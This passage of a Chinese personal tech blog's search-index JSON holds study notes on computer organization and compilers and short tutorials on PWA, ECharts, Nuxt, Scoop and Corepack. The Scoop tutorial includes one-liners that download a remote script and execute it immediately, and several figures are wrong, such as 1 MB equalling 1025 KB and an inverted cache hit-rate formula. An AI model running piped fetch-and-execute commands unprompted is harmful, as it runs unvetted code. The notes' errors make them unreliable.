是否被占用，允许检查设备是否已连接，允许检查设备已启动\n数据线（I/O设备与主机传输数据，单向，双向），状态线（I/O设备向主机报告的信息线，主机可以通过该线来查询设备是否已经正常连接并且已经就绪，也可以查询设备是否被其他进程占用），命令线（CPU向设备发送命令的信号线），设备选择线（主机选择I/O设备进行操作的信号线）\nCPU与IO设备通信：程序中断（IO设备就绪，会向CPU发生中断信号，CPU接收到中断信号后，会执行中断程序工作，会暂停当前进程的工作，转而处理该I/O设备的工作，完成后再恢复到之前进程的工作），DMA（直接存储区访问，DMA直接连接主存和设备，DMA工作期间不需要CPU参与，而是作为主存和设备的中间件，来做到IO设备的数据交换）\n计算机存储器\n存储器的分类\n按存储介质分类，分为半导体存储器（内存，固态硬盘）和磁存储器（磁盘（机械硬盘），磁带）\n按存取方式分类，分为随机存储器（RAM），串行存储器（按顺序读写），只读存储器（ROM）\n缓存（CPU的寄存器），主存（内存），辅存（硬盘）\n存储器的层次结构：CPU可以与主存互相访问，缓存可以和CPU互相访问，也可以和主存互相访问，主存和辅存之间互相访问\nCPU和缓存，以及主存构成缓存-主存层次，而主存和辅存又构成了主存-辅存层次\n局部性原理：CPU访问存储器时，存取指令和存取数据，其访问的存储单元都是聚集在一个连续区域中\n缓存-主存层次是为了解决CPU速度和主存速度不匹配的，在CPU和主存之间再加一层缓存，CPU运行时，可以将数据临时存储在该缓存中，而且不需要完全依赖于主存来做数据存储媒介（主存对于CPU来说还是太慢，需要等待主存处理完毕），提高CPU的利用率\n主存-辅存层次是为了解决主存容量不够的问题，在主存之外添加辅助存储器（例如硬盘）\n对于超过主存的程序运行，利用局部性原理，将当前用到的数据存储到主存，还没有用到的先存储到辅存中\n主存储器和辅助存储器\n主存储器：内存（RAM，随机存取存储器，Random Access Memory）\nRAM通过电容存储数据，必须每隔一段时间刷新一次（刷新需要电存在，如果长时间没有刷新将丢失电容里的电子，从而导致数据丢失），因此掉电后，数据会在一段时间后丢失\nRAM主要由半导体存储体，驱动器，译码器，读写电路，控制电路组成\nCPU利用主存数据寄存器（MDR）通过数据总线来连接读写电路（来完成读写内存工作）\n通过主存地址寄存器（MAR），通过地址总线来连接译码器（完成传输数据，数据存储地址工作）\n操作系统的位数决定了最大寻址区域，32位操作系统最大支持4GB内存（2^32=42^30），64位操作系统最大支持2^34GB（2^64=2^342^30）\n辅助存储器，例如磁盘（由盘片（可磁化的硬磁特性材料构成），读写磁头（移动磁头来读取磁道信息），磁道，扇区（磁道的一部分）组成）\n磁盘调度算法：先来先服务算法，最短寻道时间优先算法，扫描算法（电梯算法），循环扫描算法\n先来先服务算法：按照顺序来访问磁道的读写\n最短寻道时间优先算法：优先访问离磁头最近的磁道\n扫描算法（电梯算法）：磁头每次只往一个方向移动，只有到达尽头时才会反方向移动（因为和电梯调度是一样的，因此又叫电梯算法）\n循环扫描算法：基于扫描算法的优化版本，只向一个方向移动，到达尽头不会反方向移动，而是回到起点，继续一个方向移动\n计算机高速缓存\n计算机缓存的工作原理\n字：指存储在一个存储单元中的二进制组合（是存储最小的单元）\n字块：指存储在连续的存储单元中，也就是一个单元的一组字\n如果一个字是64位，并且一个字块有n个字，存储器一共有x个字块，nx就是总字数，而nx*64就是这个存储器的总容量（bits）\n字的地址：前几位表示字块的地址，后几位表示该字在字块的地址\n当CPU需要的数据存在于缓存中时，往缓存获取，需要的数据不存在时，向主存获取\n缓存命中率是衡量缓存的性能基础，如果每次需要的数据都在缓存时，命中率为1\n缓存命中率计算公式：访问主存的次数除以访问主存的次数加访问缓存的次数的和，得到的数就是这个缓存的命中率（占访问总次数的比例）\n缓存访问效率也是衡量缓存的性能基础，计算公式为访问缓存的时间除以访问主存的时间\n缓存替换策略：当缓存没有数据时，需要向主存载入需要的数据，主要有4种算法，随机算法，先进先出算法（FIFO），最不经常使用算法（LFU），最近最少使用算法（LRU）\n随机算法：每一次发生替换时，随机选取缓存的位置，将对应的位置替换\n先进先出算法（FIFO）：将缓存看成先进先出的队列，队列满后发生替换时，优先替换最先进入队列的字块\n最不经常使用算法（LFU）：优先替换最不经常使用的字块，需要提供空间来记录字块的使用频率\n最近最少使用算法（LRU）：优先替换最近一段时间内最少使用的字块（可以利用双向链表结构，保证链首是使用的字块，链尾是最不经常使用的字块，只需要将链尾去掉，将新的字块放到链首）\n指令系统\n机器指令由操作码和地址码组成，操作码指定指令需要完成的操作，操作码的位数决定了机器的操作种类，例如8位操作码表示有256种操作种类，地址码是指定数据或者数据的地址，根据地址码又分为三地址指令，二地址指令，以及一地址指令和零地址指令，就是指令有多少个数据地址\n机器指令的操作类型：数据传输类型，算术逻辑操作类型，移位操作类型，控制指令（例如中断指令）\n机器指令的寻址\n指令寻址：顺序寻址，跳跃寻址\n数据寻址：立即寻址，直接寻址，间接寻址（给出的地址是数据地址的地址，再根据数据地址，找到数据）\n计算机的控制器\n控制器是控制计算机和协调计算机的\n控制器由程序计数器（存储下一条指令的地址），时序发生器（发送时序脉冲，CPU根据时序脉冲来进行工作），指令译码器（翻译操作码对应的操作，传输地址码对应的数据），寄存器（通用（暂时存放或者发送数据或者指令，也负责保存算术逻辑单元的中间结果），指令（存取计算机指令），主存地址（保存当前CPU正在访问的内存单元地址），主存数据（保存当前CPU正在读取或者写入的主存数据）），总线组成\n计算机的运算器\n运算器由数据缓冲器，算术逻辑单元（ALU），通用寄存器，状态字寄存器，以及总线组成\n数据缓冲器分为输入缓存（暂时存放外部设备发送过来的数据）和输出缓冲（暂时存放需要发送给外部设备的数据）\n算术逻辑单元（ALU）是运算器核心，可以完成算术运算（位运算，加减乘除等等）\n状态字寄存器是存放运算状态的（例如进位，结果的正负，条件码，溢出等等），也可以存放运算控制信息（例如允许中断位，调试跟踪标记位等等）\n计算机指令执行过程（获取指令，分析指令，执行指令）\n指令执行过程的交互发生在片内总线\n通过缓存获取指令，再将指令通过片内总线发送给指令寄存器，暂时存放这个指令操作码和地址码（并不知道指令的具体内容），再通过指令译码器来获取指令具体内容，指令译码器通过片内总线发送控制信号给运算器，程序计算数+1（表示轮到下一个指令执行），执行指令会先将数据存储在数据寄存器，算术逻辑单元处理数据，并且状态字寄存器记录运算的状态，指令完成后发送运算结果\n","permalink":"https://chenjunlinabc.github.io/posts/155/","summary":"计算机发展历史\n1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机\n电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次\n电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）\n晶体管计算机：诞生原因是因为贝尔实验室发明晶体管，1956年诺贝尔物理奖授予贝尔实验室发明晶体管的科学家，第一台晶体管计算机TX-0诞生于MIT的林肯实验室，当时的最强晶体管计算机PDP-1具备4k内存，每秒可执行20万条指令，具备512x512显示器（也是世界第一个显示器，也因为这个计算机携带了显示器的原因，而诞生了世界第一款电子游戏，太空战争）\n晶体管计算机特点：对于电子管计算机来说，集成度高，空间占据小，功耗比电子管低，运行速度快\n集成电路计算机：诞生原因是因为德州仪器的工程师发明了集成电路（IC），操作系统也因为集成电路计算机的出现而诞生，当时为了解决IBM的2款集成电路计算机（7094和1401）所编写的程序无法相互兼容，IBM而推出了System/360（操作系统雏形）\n超大规模集成电路计算机：芯片集成超大规模的集成电路\n微型计算机发展历史：因为集成电路计算机的诞生，计算机逐渐从庞然大物变成小型，乃至微型，1971到1973年，500khz频率的微型计算机（8位），1973到1978年，高于1mhz的微型计算机（8位），1978到1985年，500mhz的微型计算机（16位），1985到2000年，高于1ghz的微型计算机（32位），2000年到至今，高于2ghz的微型计算机（64位）\n摩尔定律：当价格不变的情况下，集成电路的性能，会每18至24个月提升一倍\n后来因为集成电路太密集，热损耗也越来越高，无法解决，摩尔定律也因此失效\n因为摩尔定律的失效，单核已到瓶颈，转而搞多核CPU，2005年，英特尔发布了奔腾系列的双核CPU，AMD也发布了速龙系列的双核CPU，2006年，英特尔发布酷睿四核CPU，至今AMD的服务器级霄龙处理器CPU可以高达64核，而且基准频率（单核频率）可以达到2Ghz以上\n计算机的分类\n超级计算机：功能最强，运算最快，存储容量最大的计算机，用于天气预报，海洋监测，生物制药，科学计算，航天等等需要超大运算的领域，衡量超级计算机的单位是TFlop/s（每秒一万亿次浮点计算）\n著名的超级计算机有Summit，神威太湖之光，天河一号，天河二号，Sierra\n天河二号位于广州大学城的中山大学校区的国家超级计算机广州中心\n大型计算机：又被称为大型机，大型机面向大型商业公司，维护成本高，硬件不易扩展，IBM占据大型机的大片市场，IBM为IOE中的I（计算机提供商）\n迷你计算机（服务器）：目前已替代大型机，为企业主要计算顶梁柱\n工作站：高端微型计算机，面向需要强性能的专业工作者（例如图形，视频）\n微型计算机（个人计算机）：又分为台式计算机，笔记本计算机，一体化计算机\n计算机体系和结构\n冯诺依曼体系：将指令和数据一起存储的计算机设计概念结构，使用通用电路设计，而不是使用专用电路，将指令存储，再将指令编译成通用电路可理解的程序\n冯诺依曼体系要求具备存储器，控制器，运算器，输入/输出设备\n冯诺依曼体系要求能将程序和数据发送给计算机（输入），能长期存储程序，数据，计算过程，计算结果的功能（存储器），具备算术，逻辑处理和数据传送等数据处理功能（运算器和控制器），并且能将处理结果反馈给用户（输出）\n冯诺依曼瓶颈：CPU和存储器速率之间无法调和，导致CPU空转等待数据传输\n现代计算机都是基于冯诺依曼体系的（解决冯诺依曼瓶颈），存储器和运算器，以及控制器整合在一起（就是CPU），CPU内部的存储器更高速（寄存器）\n计算机层次和编程语言\n程序编译和程序解析（计算机无法理解人类语言），需要进行语言（高级语言对低级语言）的转换\n高级语言生成低级语言的过程叫程序编译，而生成的工具叫编译器\n常见的编译型语言有C，C++，Golang\n高级语言作为输入，低级语言接收输入，从而达到高转低的目的，这个过程叫程序解析，而这个低级语言接收的工具叫解析器，解析器必须是用低级语言编写的\n常见的解析型语言有Python，PHP\njava是编译+解析语言，因为它会将源程序编译成JVM字节码，JVM虚拟机再将JVM字节码再解析成机器码，java的跨平台就是因为JVM虚拟机解析器\n计算机的层次：硬件逻辑层，微程序机器层，传统机器层，操作系统层，汇编语言层，高级语言层，应用层\n硬件逻辑层：由门电路和触发器等逻辑电路组成\n微程序机器层：由微指令组成的微程序直接交给硬件执行\n传统机器层：CPU指令集，不同架构CPU使用不同的CPU指令集\n这3层都为机器硬件层，一个指令就是一个微程序，也是一组微指令\n操作系统层：向上提供操作界面，向下对应指令系统，管理硬件（例如分配内存空间）\n汇编语言层：汇编语言可以直接编译成机器语言，完成翻译的工具叫汇编器\n高级语言层：高级语言\n应用层：应用软件\n计算机的计算单位\n容量单位\n在物理层次，用高低电平来记录信息（低电平为0，高电平为1，一个0/1的位被叫为bit（比特位））\n1字节（Byte）等于8bit\n1Kb（千字位）等于1024字节（Byte）\n1mb（兆字节）等于1025kb（千字节）\n1Gb（吉字节）等于1024mb（兆字节）\n1tb（太字节）等于1024gb（吉字节）\n1pb（拍字节）等于1024tb（太字节）\n1eb（艾字节）等于1024pb（拍字节）\n1024是2的10次方\n对于硬盘制造商来说，使用10进制，也就是硬盘制造商认为1000G才是1tb\n因此实质硬盘容量为购买标注的容量（例如240G）乘以1000的3次方，再除于1024的3次方，得到的数就是实质硬盘的容量\n原因是硬盘制造商为了记录硬盘的扇区，使用人类可理解的10进制，而不是2进制\n速度单位\n网络速度\n网络传输数据的单位为Mbps\n因此100M宽带就是指100Mbit/s，每秒传输100Mbps\n100Mbit换算字节就是100/8，也就是12.5MB，因此100m宽带峰值每秒可以传输12.5mb\nCPU速度（CPU的时钟频率，Hz）\nHz是每秒中的周期性变动重复次数的计量\n例如 3.30 GHz的CPU，就是3.3*1000^3Hz，也就是每秒可以达到33亿次的高低电平变化\n计算机的字符和编码集\n字符编码集的历史\nASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）\n因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符","title":"计算机组成原理学习笔记"},{"content":"PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能\nPWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成\nService Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信\n注册Service Worker\nnavigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration =\u0026gt; { console.log(registration) },error =\u0026gt; { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js\nconst cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =\u0026gt;{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =\u0026gt;{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self.addEventListener('activate', function (event) { console.log('activate',event) // 激活新的Service Worker脚本事件 event.waitUntil(self.clients.claim()) event.waitUntil(caches.keys().then(cacheNames =\u0026gt;{ return Promise.all(cacheNames.map(cacheNames =\u0026gt;{ if(cacheNames !== cachename){ caches.delete(cacheNames) // 当前缓存名称不等于设置的缓存名称时，清除缓存，重新获取资源 } })) })) }) self.addEventListener('fetch', function (event) { console.log('fetch',event) // 获取资源请求事件，例如增加外链 event.respondWith(caches.open(cachename).then(cache =\u0026gt; { return cache.match(event.request).then(response =\u0026gt;{ if(response){ return response // 命中缓存则直接使用缓存 } return fetch(event.request).then(response =\u0026gt;{ cache.put(event.request,response.clone()) // 没有命中则获取该资源 return response }) }) })) }) manifest.json：让web应用具备app的效果，例如logo，启动页面\n{ \u0026quot;name\u0026quot;: \u0026quot;hallo\u0026quot;, \u0026quot;short_name\u0026quot;: \u0026quot;你好\u0026quot;, \u0026quot;display\u0026quot;: \u0026quot;standalone\u0026quot;, \u0026quot;orientation\u0026quot;: \u0026quot;landscape\u0026quot;, \u0026quot;start_url\u0026quot;: \u0026quot;/\u0026quot;, \u0026quot;theme_color\u0026quot;: \u0026quot;purple\u0026quot;, \u0026quot;background_color\u0026quot;: \u0026quot;purple\u0026quot;, \u0026quot;icons\u0026quot;: [ { \u0026quot;src\u0026quot;: \u0026quot;logo.jpg\u0026quot;, \u0026quot;sizes\u0026quot;: \u0026quot;48x48\u0026quot;, \u0026quot;type\u0026quot;: \u0026quot;image/jpg\u0026quot; }, { \u0026quot;src\u0026quot;: \u0026quot;logo1.jpg\u0026quot;, \u0026quot;sizes\u0026quot;: \u0026quot;144x144\u0026quot;, \u0026quot;type\u0026quot;: \u0026quot;image/jpg\u0026quot; } ] } Notification消息推送\n查看授权\nNotification.permission\n有3个值，在浏览器默认为default，当同意时，为granted，当不同意时，为denied\n在Service Worker中，默认为denied，因为Service Worker不能弹出授权请求，必须先在浏览器中同意后，Service Worker只能发送通知\n请求授权\nNotification.requestPermission().then(permission =\u0026gt; console.log(permission))\n发送通知\nnew Notification(\u0026lsquo;hallo word\u0026rsquo;, {body: \u0026lsquo;hallo\u0026rsquo;})\n在Service Worker发送通知\nself.registration.showNotificatio(\u0026lsquo;hallo word\u0026rsquo;)\n成熟的PWA插件，workbox\n","permalink":"https://chenjunlinabc.github.io/posts/154/","summary":"PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能\nPWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成\nService Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信\n注册Service Worker\nnavigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration =\u0026gt; { console.log(registration) },error =\u0026gt; { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js\nconst cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =\u0026gt;{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =\u0026gt;{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self.","title":"简单使用PWA技术"},{"content":"ECharts是基于JavaScript的数据可视化图表库\n安装\nnpm install echarts --save 第一个实例\nimport * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个\n","permalink":"https://chenjunlinabc.github.io/posts/153/","summary":"ECharts是基于JavaScript的数据可视化图表库\n安装\nnpm install echarts --save 第一个实例\nimport * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个","title":"ECharts数据可视化图表库简单使用"},{"content":"nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具\n创建项目\nyarn create nuxt-app test\n需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等\n安装依赖\nyarn\n启动项目\nyarn dev\n构建打包\nyarn build\nyarn start\n启动测试环境 yarn test\n","permalink":"https://chenjunlinabc.github.io/posts/152/","summary":"nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具\n创建项目\nyarn create nuxt-app test\n需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等\n安装依赖\nyarn\n启动项目\nyarn dev\n构建打包\nyarn build\nyarn start\n启动测试环境 yarn test","title":"Nuxt.js学习笔记"},{"content":"Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew\nscoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）\n允许执行本地脚本权限\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser\n修改Scoop安装目录（用户级）\n$env:SCOOP=\u0026lsquo;D:\\Software\\Scoop\u0026rsquo; [Environment]::SetEnvironmentVariable(\u0026lsquo;SCOOP\u0026rsquo;, $env:SCOOP, \u0026lsquo;User\u0026rsquo;)\n修改Scoop安装目录（全局）\n$env:SCOOP_GLOBAL=\u0026lsquo;D:\\Software\\Scoop\\Global\u0026rsquo; [Environment]::SetEnvironmentVariable(\u0026lsquo;SCOOP_GLOBAL\u0026rsquo;, $env:SCOOP_GLOBAL, \u0026lsquo;Machine\u0026rsquo;)\n目录介绍： apps：通过scoop安装的软件存储的目录\nbuckets：管理软件的仓库目录（记录了哪些仓库有哪些软件）\nchache：软件安装包目录\npersit：存储用户数据，与软件分离\nshims；软链接\n安装scoop\niwr -useb get.scoop.sh | iex\n或者\niex (new-object net.webclient).downloadstring(\u0026lsquo;https://get.scoop.sh\u0026rsquo;)\n安装软件\nscoop install sudo\n查看环境存在的问题\nscoop checkup\n将一些scoop环境必须的软件安装一下\n搜索软件\nscoop search git\n安装软件\nscoop install git\n查看软件信息\nscoop info git\n查看已经安装的软件\nscoop list\n卸载软件（-p删除配置）\nscoop uninstall git -p\n更新软件\nscoop update git\n更新全部已安装软件\nscoop update *\n导出已安装软件列表\nscoop.cmd export \u0026gt; App_list.txt\n添加官方的bucket（包含大量的软件）\nscoop bucket add main scoop bucket add extras\n更新仓库\nscoop updat\n限制软件更新\nscoop hold git\n代理\nscoop config proxy 127.0.0.1:7890\n取消代理\nscoop config proxy none\n查看其他scoop命令\nscoop help\n","permalink":"https://chenjunlinabc.github.io/posts/150/","summary":"Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew\nscoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）\n允许执行本地脚本权限\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser\n修改Scoop安装目录（用户级）\n$env:SCOOP=\u0026lsquo;D:\\Software\\Scoop\u0026rsquo; [Environment]::SetEnvironmentVariable(\u0026lsquo;SCOOP\u0026rsquo;, $env:SCOOP, \u0026lsquo;User\u0026rsquo;)\n修改Scoop安装目录（全局）\n$env:SCOOP_GLOBAL=\u0026lsquo;D:\\Software\\Scoop\\Global\u0026rsquo; [Environment]::SetEnvironmentVariable(\u0026lsquo;SCOOP_GLOBAL\u0026rsquo;, $env:SCOOP_GLOBAL, \u0026lsquo;Machine\u0026rsquo;)\n目录介绍： apps：通过scoop安装的软件存储的目录\nbuckets：管理软件的仓库目录（记录了哪些仓库有哪些软件）\nchache：软件安装包目录\npersit：存储用户数据，与软件分离\nshims；软链接\n安装scoop\niwr -useb get.scoop.sh | iex\n或者\niex (new-object net.webclient).downloadstring(\u0026lsquo;https://get.scoop.sh\u0026rsquo;)\n安装软件\nscoop install sudo\n查看环境存在的问题\nscoop checkup\n将一些scoop环境必须的软件安装一下\n搜索软件\nscoop search git\n安装软件\nscoop install git\n查看软件信息\nscoop info git\n查看已经安装的软件\nscoop list\n卸载软件（-p删除配置）\nscoop uninstall git -p\n更新软件\nscoop update git\n更新全部已安装软件\nscoop update *","title":"简单使用Scoop包管理器"},{"content":"Corepack（管理yarn和pnpm的包管理器的管理器）\ncorepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）\ncorepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）\n手动安装\nnpm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载\nnpm uninstall -g yarn pnpm 启用corepack\ncorepack enable 限制包管理器版本\npackage.json\n\u0026quot;packageManager\u0026quot;: \u0026quot;yarn@1.22.19\u0026quot; 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn\n默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理\n修改packageManager的值后，yarn install，会自动安装指定版本\n安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）\nyarn install 指定一个新的包管理器\ncorepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）\n获取\ncorepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包\ncorepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用\ncorepack hydrate D:/demo/test.tgz --activate ","permalink":"https://chenjunlinabc.github.io/posts/149/","summary":"Corepack（管理yarn和pnpm的包管理器的管理器）\ncorepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）\ncorepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）\n手动安装\nnpm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载\nnpm uninstall -g yarn pnpm 启用corepack\ncorepack enable 限制包管理器版本\npackage.json\n\u0026quot;packageManager\u0026quot;: \u0026quot;yarn@1.22.19\u0026quot; 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn\n默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理\n修改packageManager的值后，yarn install，会自动安装指定版本\n安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）\nyarn install 指定一个新的包管理器\ncorepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）\n获取\ncorepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包\ncorepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用\ncorepack hydrate D:/demo/test.tgz --activate ","title":"简单使用Corepack-包管理器的管理器"},{"content":"编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））\n编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式\n编译的翻译只能作用于形式语言\n编译器和解释器\n编译器将源程序编译成目标的程序\n解释器接收源程序与输入，执行并且返回输出\n混合编译器通常需要2次编译，第一次编译将源程序翻译成目标程序，第二次编译时，将目标程序与输入一起放到虚拟机来处理执行（虚拟机用于跨平台，来处理复杂的执行环境）\n即时编译器，将源程序编译成机器码后再执行\n交叉编译：在一个平台上编译产生多个平台的可执行程序\n编译的过程\n关注度分离\n词法分析（分词，分析词法）\n语法分析（将词分析的结果分析成抽象语法树的过程，也就是AST（Abstract Syntax Tree）），语法分析器被叫为parser\n语义分析：分析抽象语法的语法是否合法\n根据抽象语法树生成的三地址码进行存储，传输，优化\n根据三地址码生成机器码（有一些还需要把机器码编译成可执行应用）\n词法分析：将程序的字符流转换为符号流，分析符号，并且给予描述\n例如：let a = 1\n词法分析后得到\nlet: Keyword a: Variable =: Operator 1: Integer\n词法分析器会将关键字抽离，并且对每个字符作描述\n词法分析器得到返回值是符号元组，符号又叫词法单元（Token）\n词法：构造语句的方法（哪些是具备词性（根据词的特点来区分的语法分类，例如动词，名词等等），哪些是具备词语（具有意义的词，关键字）），通常使用正则表达式来描述词法，使用状态机来实现正则表达式\n字母表（alphabet）：某个编程语言中允许的全部字符\n串（string）是某个编程语言中的字母序列\n词法分析器将源程序的字符流进行分析，通正则文法过来找到这些词汇，并且给予词性，如果存在不支持的词汇，则报错（也就是分词）\n词法分析器使用了一种叫有限自动机（有限状态机，deterministic finite automaton, DFA）的算法，在分析字符串时，当遇到了关键字时，会改变状态\n有限自动机和图灵机很相似，不过有限自动机只能读取，无法进行计算\n例如：a == 1\n当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量\n语法分析\n语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状\n语法制导翻译\n","permalink":"https://chenjunlinabc.github.io/posts/148/","summary":"编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））\n编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式\n编译的翻译只能作用于形式语言\n编译器和解释器\n编译器将源程序编译成目标的程序\n解释器接收源程序与输入，执行并且返回输出\n混合编译器通常需要2次编译，第一次编译将源程序翻译成目标程序，第二次编译时，将目标程序与输入一起放到虚拟机来处理执行（虚拟机用于跨平台，来处理复杂的执行环境）\n即时编译器，将源程序编译成机器码后再执行\n交叉编译：在一个平台上编译产生多个平台的可执行程序\n编译的过程\n关注度分离\n词法分析（分词，分析词法）\n语法分析（将词分析的结果分析成抽象语法树的过程，也就是AST（Abstract Syntax Tree）），语法分析器被叫为parser\n语义分析：分析抽象语法的语法是否合法\n根据抽象语法树生成的三地址码进行存储，传输，优化\n根据三地址码生成机器码（有一些还需要把机器码编译成可执行应用）\n词法分析：将程序的字符流转换为符号流，分析符号，并且给予描述\n例如：let a = 1\n词法分析后得到\nlet: Keyword a: Variable =: Operator 1: Integer\n词法分析器会将关键字抽离，并且对每个字符作描述\n词法分析器得到返回值是符号元组，符号又叫词法单元（Token）\n词法：构造语句的方法（哪些是具备词性（根据词的特点来区分的语法分类，例如动词，名词等等），哪些是具备词语（具有意义的词，关键字）），通常使用正则表达式来描述词法，使用状态机来实现正则表达式\n字母表（alphabet）：某个编程语言中允许的全部字符\n串（string）是某个编程语言中的字母序列\n词法分析器将源程序的字符流进行分析，通正则文法过来找到这些词汇，并且给予词性，如果存在不支持的词汇，则报错（也就是分词）\n词法分析器使用了一种叫有限自动机（有限状态机，deterministic finite automaton, DFA）的算法，在分析字符串时，当遇到了关键字时，会改变状态\n有限自动机和图灵机很相似，不过有限自动机只能读取，无法进行计算\n例如：a == 1\n当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量\n语法分析\n语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状\n语法制导翻译","title":"编译原理学习笔记"},{"content":"组件的渲染，更新\n组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM\nvue应用的初始化\nimport { createApp } from 'vue' import App from './app' const app = 